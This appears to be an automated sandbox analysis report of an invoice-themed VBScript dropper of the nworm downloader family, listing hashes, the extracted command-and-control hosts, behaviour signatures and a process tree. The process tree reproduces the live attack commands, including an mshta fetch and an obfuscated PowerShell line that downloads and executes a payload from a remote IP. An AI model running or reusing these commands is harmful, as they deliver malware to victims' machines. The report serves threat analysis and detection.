nworm | adf6d30e5c3767c268a66aa887dff2ebe4d0295c49c9bc42d343b6dd0e707825

Analysis

max time kernel
139s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
23-02-2022 11:53

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General

Target

GBTVHWQCB_INVOICE#07JDKAS.vbs
Size

4KB
MD5

d546eb292c17626af658e34ffa402e47
SHA1

f0a379ae37a860a6c082464f4a41cd474a5f4cbe
SHA256

adf6d30e5c3767c268a66aa887dff2ebe4d0295c49c9bc42d343b6dd0e707825
SHA512

e15402e69ca3e2391a63fec1a718524bc0841e49b0c954162696d96cd11c04d82a5daad52a5fafe1c9101922ab0cc3bd26892038d8ae4f6cd1c9220634b37048

Score

10^/10

nworm downloader worm

Malware Config

Extracted

Family

nworm

Version

v0.3.8

nyanmoj.duckdns.org:5057

moneyhope81.duckdns.org:5057

Mutex

cb2d3cba

Signatures

NWorm
A TrickBot module used to propagate to vulnerable domain controllers.
worm downloader nworm

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3872	2512	msHta.exe	57
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3184	2512	cmd.exe	57

Blocklisted process makes network request 2 IoCs

flow	pid	Process
14	3872	msHta.exe
18	3364	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	msHta.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3828 set thread context of 2100	3828	powershell.exe	75

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3364	powershell.exe
3364	powershell.exe
2444	powershell.exe
2444	powershell.exe
3828	powershell.exe
3828	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3364	powershell.exe
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeIncreaseQuotaPrivilege	2444	powershell.exe
Token: SeSecurityPrivilege	2444	powershell.exe
Token: SeTakeOwnershipPrivilege	2444	powershell.exe
Token: SeLoadDriverPrivilege	2444	powershell.exe
Token: SeSystemProfilePrivilege	2444	powershell.exe
Token: SeSystemtimePrivilege	2444	powershell.exe
Token: SeProfSingleProcessPrivilege	2444	powershell.exe
Token: SeIncBasePriorityPrivilege	2444	powershell.exe
Token: SeCreatePagefilePrivilege	2444	powershell.exe
Token: SeBackupPrivilege	2444	powershell.exe
Token: SeRestorePrivilege	2444	powershell.exe
Token: SeShutdownPrivilege	2444	powershell.exe
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeSystemEnvironmentPrivilege	2444	powershell.exe
Token: SeRemoteShutdownPrivilege	2444	powershell.exe
Token: SeUndockPrivilege	2444	powershell.exe
Token: SeManageVolumePrivilege	2444	powershell.exe
Token: 33	2444	powershell.exe
Token: 34	2444	powershell.exe
Token: 35	2444	powershell.exe
Token: 36	2444	powershell.exe
Token: SeIncreaseQuotaPrivilege	2444	powershell.exe
Token: SeSecurityPrivilege	2444	powershell.exe
Token: SeTakeOwnershipPrivilege	2444	powershell.exe
Token: SeLoadDriverPrivilege	2444	powershell.exe
Token: SeSystemProfilePrivilege	2444	powershell.exe
Token: SeSystemtimePrivilege	2444	powershell.exe
Token: SeProfSingleProcessPrivilege	2444	powershell.exe
Token: SeIncBasePriorityPrivilege	2444	powershell.exe
Token: SeCreatePagefilePrivilege	2444	powershell.exe
Token: SeBackupPrivilege	2444	powershell.exe
Token: SeRestorePrivilege	2444	powershell.exe
Token: SeShutdownPrivilege	2444	powershell.exe
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeSystemEnvironmentPrivilege	2444	powershell.exe
Token: SeRemoteShutdownPrivilege	2444	powershell.exe
Token: SeUndockPrivilege	2444	powershell.exe
Token: SeManageVolumePrivilege	2444	powershell.exe
Token: 33	2444	powershell.exe
Token: 34	2444	powershell.exe
Token: 35	2444	powershell.exe
Token: 36	2444	powershell.exe
Token: SeIncreaseQuotaPrivilege	2444	powershell.exe
Token: SeSecurityPrivilege	2444	powershell.exe
Token: SeTakeOwnershipPrivilege	2444	powershell.exe
Token: SeLoadDriverPrivilege	2444	powershell.exe
Token: SeSystemProfilePrivilege	2444	powershell.exe
Token: SeSystemtimePrivilege	2444	powershell.exe
Token: SeProfSingleProcessPrivilege	2444	powershell.exe
Token: SeIncBasePriorityPrivilege	2444	powershell.exe
Token: SeCreatePagefilePrivilege	2444	powershell.exe
Token: SeBackupPrivilege	2444	powershell.exe
Token: SeRestorePrivilege	2444	powershell.exe
Token: SeShutdownPrivilege	2444	powershell.exe
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeSystemEnvironmentPrivilege	2444	powershell.exe
Token: SeRemoteShutdownPrivilege	2444	powershell.exe
Token: SeUndockPrivilege	2444	powershell.exe
Token: SeManageVolumePrivilege	2444	powershell.exe
Token: 33	2444	powershell.exe
Token: 34	2444	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3872 wrote to memory of 3364	3872	msHta.exe	59
PID 3872 wrote to memory of 3364	3872	msHta.exe	59
PID 3364 wrote to memory of 2444	3364	powershell.exe	69
PID 3364 wrote to memory of 2444	3364	powershell.exe	69
PID 2444 wrote to memory of 1588	2444	powershell.exe	70
PID 2444 wrote to memory of 1588	2444	powershell.exe	70
PID 3184 wrote to memory of 2992	3184	cmd.exe	73
PID 3184 wrote to memory of 2992	3184	cmd.exe	73
PID 2992 wrote to memory of 3828	2992	cmd.exe	74
PID 2992 wrote to memory of 3828	2992	cmd.exe	74
PID 3828 wrote to memory of 2100	3828	powershell.exe	75
PID 3828 wrote to memory of 2100	3828	powershell.exe	75
PID 3828 wrote to memory of 2100	3828	powershell.exe	75
PID 3828 wrote to memory of 2100	3828	powershell.exe	75
PID 3828 wrote to memory of 2100	3828	powershell.exe	75
PID 3828 wrote to memory of 2100	3828	powershell.exe	75
PID 3828 wrote to memory of 2100	3828	powershell.exe	75
PID 3828 wrote to memory of 2100	3828	powershell.exe	75

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\GBTVHWQCB_INVOICE#07JDKAS.vbs"
1⤵
PID:2912

C:\Windows\system32\msHta.exe
msHta.exe Http://3.145.46.6/K/EncKAO.txt
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $HCNPXUQJCLATJSNVPNHGASK = '[*4@!-95&[27011]{{<!4(}y*4@!-95&[27011]{{<!4(}t3{{!{39=335@-#%2^${![292#\&3/-4=3%^]+\@8_#2}.IO.*4@!-95&[27011]{{<!4(}t()&/@+/6!@3=1*&#^285<53{{!{39=335@-#%2^${![25_8%0=^\09<276{[=(-\-{92#\&3/-4=3%^]+\@8_#2}()&/@+/6!@3=1*&#^285<53{{!{39=335@-#%2^${![25_8%0=^\09<276{[=(-\-{d3{{!{39=335@-#%2^${![2()&/@+/6!@3=1*&#^285<5]'.Replace('*4@!-95&[27011]{{<!4(}','S').Replace('3{{!{39=335@-#%2^${![2','E').Replace('()&/@+/6!@3=1*&#^285<5','R').Replace('5_8%0=^\09<276{[=(-\-{','A').Replace('92#\&3/-4=3%^]+\@8_#2}','M');$HWBPFQSKIJPSNVWGRPDVWTQ = ($HCNPXUQJCLATJSNVPNHGASK -Join '')|&('I'+'EX');$HVVGCGZUOWJPPVKKFNXPRYX = '[-<@!(_!_@2#@@73#6#<*68y-<@!(_!_@2#@@73#6#<*6834^%[/28$^_^1)_+%&$}{2/=+\6{8&8!=%9$&6%0#$!1m.N/=+\6{8&8!=%9$&6%0#$!134^%[/28$^_^1)_+%&$}{2.W/=+\6{8&8!=%9$&6%0#$!1bR/=+\6{8&8!=%9$&6%0#$!1qu/=+\6{8&8!=%9$&6%0#$!1-<@!(_!_@2#@@73#6#<*6834^%[/28$^_^1)_+%&$}{2]'.Replace('-<@!(_!_@2#@@73#6#<*68','S').Replace('/=+\6{8&8!=%9$&6%0#$!1','E').Replace('34^%[/28$^_^1)_+%&$}{2','T');$HZSWCZCRBXDIWQKWTESQTIY = ($HVVGCGZUOWJPPVKKFNXPRYX -Join '')|&('I'+'EX');$HFJRRSZDESQZWRCXANLTRDS = '\=)9&+81%{23</-^[/=-[6r7-{)&9)1(!_(2]+86%-(=5a+8#6&}]%/5}-^]%]5<#$7+7-{)&9)1(!_(2]+86%-(=5'.Replace('\=)9&+81%{23</-^[/=-[6','C').Replace('7-{)&9)1(!_(2]+86%-(=5','E').Replace('+8#6&}]%/5}-^]%]5<#$7+','T');$HWCLNHXSDRQHGEGSDTPUANI = '$#][}(-9<9$33&7@-{54#^-0@}{9!{69/<}19_19+_5&tR-0@}{9!{69/<}19_19+_5&0$}\+-8(030\)(%<}^/736pon0$}\+-8(030\)(%<}^/736-0@}{9!{69/<}19_19+_5&'.Replace('$#][}(-9<9$33&7@-{54#^','G').Replace('-0@}{9!{69/<}19_19+_5&','E').Replace('0$}\+-8(030\)(%<}^/736','S');$HUNOTPOSFQRHVLUSSYXPQCA = 'G_]@_61$7+/%50=7%)5}$+*t(#(&<<]#_^68#}}%]-#61#_]@_61$7+/%50=7%)5}$+*43=743-[#=!81/<[(**(<[pon43=743-[#=!81/<[(**(<[_]@_61$7+/%50=7%)5}$+*43=743-[#=!81/<[(**(<[t(#(&<<]#_^68#}}%]-#61#_]@_61$7+/%50=7%)5}$+*am'.Replace('43=743-[#=!81/<[(**(<[','S').Replace('_]@_61$7+/%50=7%)5}$+*','E').Replace('(#(&<<]#_^68#}}%]-#61#','R');$HHGZUQOYZVBAZGKFOKONHQP = '{[)9)4\#-&640<2_1%000//30#)6832^&7)=]=!{%8-_a20&[#8=\]=4}\*/8^-5_^+To/30#)6832^&7)=]=!{%8-_n20&[#8=\]=4}\*/8^-5_^+'.Replace('{[)9)4\#-&640<2_1%000/','R').Replace('/30#)6832^&7)=]=!{%8-_','E').Replace('20&[#8=\]=4}\*/8^-5_^+','D');&('I'+'EX')($HWBPFQSKIJPSNVWGRPDVWTQ::new($HZSWCZCRBXDIWQKWTESQTIY::$HFJRRSZDESQZWRCXANLTRDS('HttP://3.145.46.6/K/ServerFAH.txt').$HWCLNHXSDRQHGEGSDTPUANI().$HUNOTPOSFQRHVLUSSYXPQCA()).$HHGZUQOYZVBAZGKFOKONHQP())
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3364
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoE -Nop -NonI -WIndoWSTYLe HiDdeN -ExecutionPolicy Bypass -file C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\LZAVOBYIRFWZQZVCTGHPQB.ps1
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2444
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\LZAVOBYIRFWZQZVCTGHPQB.vbs"
      4⤵
      PID:1588

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\LZAVOBYIRFWZQZVCTGHPQB.bat
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3184
- C:\Windows\system32\cmd.exe
  cMd.E"x"e /c =PoWerShelL"."eXe -noe -nop -nonI -WIndoWSTYLe Hidden -executionPolicy Bypass -file C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\WZQNBDSLVGAWPUXJRUVDYE.ps1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PoWerShelL"."eXe -noe -nop -nonI -WIndoWSTYLe Hidden -executionPolicy Bypass -file C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\WZQNBDSLVGAWPUXJRUVDYE.ps1
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3828
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      4⤵
      PID:2100

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2100-167-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/2100-173-0x0000000005220000-0x0000000005286000-memory.dmp

Filesize
408KB

Download
memory/2100-172-0x00000000057D0000-0x0000000005D74000-memory.dmp

Filesize
5.6MB

Download
memory/2100-171-0x0000000005180000-0x000000000521C000-memory.dmp

Filesize
624KB

Download
memory/2100-170-0x00000000050D0000-0x00000000050D1000-memory.dmp

Filesize
4KB

Download
memory/2100-169-0x000000007464E000-0x000000007464F000-memory.dmp

Filesize
4KB

Download
memory/2444-168-0x0000016B34778000-0x0000016B3477A000-memory.dmp

Filesize
8KB

Download
memory/2444-152-0x0000016B34776000-0x0000016B34778000-memory.dmp

Filesize
8KB

Download
memory/2444-151-0x0000016B34773000-0x0000016B34775000-memory.dmp

Filesize
8KB

Download
memory/2444-150-0x0000016B34770000-0x0000016B34772000-memory.dmp

Filesize
8KB

Download
memory/2444-149-0x00007FFAFCDB3000-0x00007FFAFCDB5000-memory.dmp

Filesize
8KB

Download
memory/3364-140-0x000001A0619C3000-0x000001A0619C5000-memory.dmp

Filesize
8KB

Download
memory/3364-135-0x000001A061750000-0x000001A061772000-memory.dmp

Filesize
136KB

Download
memory/3364-138-0x00007FFAFCDB3000-0x00007FFAFCDB5000-memory.dmp

Filesize
8KB

Download
memory/3364-139-0x000001A0619C0000-0x000001A0619C2000-memory.dmp

Filesize
8KB

Download
memory/3364-141-0x000001A0619C6000-0x000001A0619C8000-memory.dmp

Filesize
8KB

Download
memory/3828-165-0x000002C6D68B6000-0x000002C6D68B8000-memory.dmp

Filesize
8KB

Download
memory/3828-166-0x000002C6D6D50000-0x000002C6D6D6A000-memory.dmp

Filesize
104KB

Download
memory/3828-164-0x000002C6D68B3000-0x000002C6D68B5000-memory.dmp

Filesize
8KB

Download
memory/3828-163-0x000002C6D68B0000-0x000002C6D68B2000-memory.dmp

Filesize
8KB

Download
memory/3828-162-0x00007FFAFCDB3000-0x00007FFAFCDB5000-memory.dmp

Filesize
8KB

Download